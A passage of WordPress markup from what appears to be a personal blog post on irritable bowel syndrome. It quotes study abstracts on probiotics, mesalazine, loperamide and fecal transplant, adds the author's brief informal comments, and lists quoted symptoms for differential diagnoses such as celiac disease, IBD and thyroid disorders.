pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fecal transplant</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results vary really widely. Worth a shot if you\'re desperate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/\">Efficacy of Fecal Microbiota Transplantation in Irritable Bowel Syndrome: A Systematic Review and Meta-Analysis (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis threw out half the studies for not being well-performed. The rest are presented below. Note that two of them show a big positive effect, and two of them do not. The two negative ones did capsule, the two positive ones did colonoscopy and nasojejunal tubes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/bin/nihms-1581604-f0002.jpg\" alt=\"An external file that holds a picture, illustration, etc.\nObject name is nihms-1581604-f0002.jpg\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 